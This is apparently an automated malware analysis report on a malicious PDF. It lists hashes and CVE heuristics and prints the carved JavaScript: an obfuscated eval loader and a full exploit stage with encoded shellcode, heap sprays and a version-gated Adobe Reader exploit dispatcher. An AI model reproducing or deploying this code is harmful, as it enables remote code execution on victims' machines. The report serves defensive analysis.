Malicious PDF — malware analysis report

Static analysis result for SHA-256 363307cf0bafa53c…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar First seen: 2012-10-11
MD5: 220eb0b1a854eac7b3d36e6f12fcd03a SHA-1: 38af2e011dec868db95bb9658b011d8ef3407794 SHA-256: 363307cf0bafa53cd55d3eb746da8f7d0808ecd5f39365c0137d30e916510d69
408 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload or exploiting a vulnerability. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13855 389 bytes
SHA-256: c0a2496cdaccd44c2c0d6fef3bf0bd03d1c824aeebc20b7d2559139358a5219a
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var uvv="";
moek='his';
tpz='tit';
e('wkb=t'+moek+"."+tpz+t);
t='cer'
jafe='produ';
e('mnq=t'+moek+"."+jafe+t);
kwjzc=e('St'+mnq+'Code');
hzpjw = e(wkb);
e('k=hzpjw.length');
for (i = 0; i < k; i+=2) {
	ipk = hzpjw[i] + hzpjw[i+1];
	uvv += kwjzc(ipk);
}
e(uvv);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 5007a25a443929f4662e4c37d891f4902b74a3ac8829768ce764008f906a9d14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ubb34%ue2aa%uc3fa%ue5e8%uffff%u52ff%ubab7%ubbbb%u3ae5%ue757%ubbba%u32bb%u365c%uabf4%ud436%u8aef%uec60%ue8ea%ue8e8%ue8e8%ue8e8%ue8ee%ud3e8%ubabf%ubbbb%uedee%ud3e8%ud5d4%ubbbb%uced3%ud7c9%uefd6%u35d3%ub5f5%u5357%ubbf3%ubbbb%u53eb%ubbc7%ubbbb%u6b44%u7f38%ud3b3%u54f4%ubef4%u53eb%ubbd7%ubbbb%u6b44%u7b3e%uacce%uefd1%u48e2%ud311%u45c9%uad08%ua653%ubbbb%uebbb%uea53%ubbbb%u44bb%ue86b%u45d1%u32d3%ubad4%u5306%ubbb3%ubbbb%u53eb%ubb87%ubbbb%u6b44%u8adb%udf7b%ueb30%u308b%ub7e9%ue930%u30af%u93c9%ua302%ubbbb%u8abb%u8a44%u177b%uda87%ub9c7%u9b97%u747a%ubab6%u597c%u3a4b%ue044%uf107%u30d1%uabf9%ua930%u62ce%uff32%ua79f%u78da%u30db%u9fd7%u309f%u87fe%uef30%uc3be%u51ba%uf130%u30a3%u9be1%u50ba%u8f58%u30f2%u308f%u55ba%u448a%u7b8a%u1747%u7b3f%ubccf%u747a%ubab6%u507c%u804f%u9fc7%uce93%u305a%u9fe1%u50ba%u30dd%uf0b7%ue130%ubaa7%u3050%u30bf%u53ba%uff32%ua79f%u79da%ubbb3%u5453%u4445%ud344%ucfcf%u81cb%u9494%ud2d8%ucccf%udfc8%ud595%ucfde%udf94%ucb95%ucbd3%udd84%u8f86%u9d83%u86de%ubb8e';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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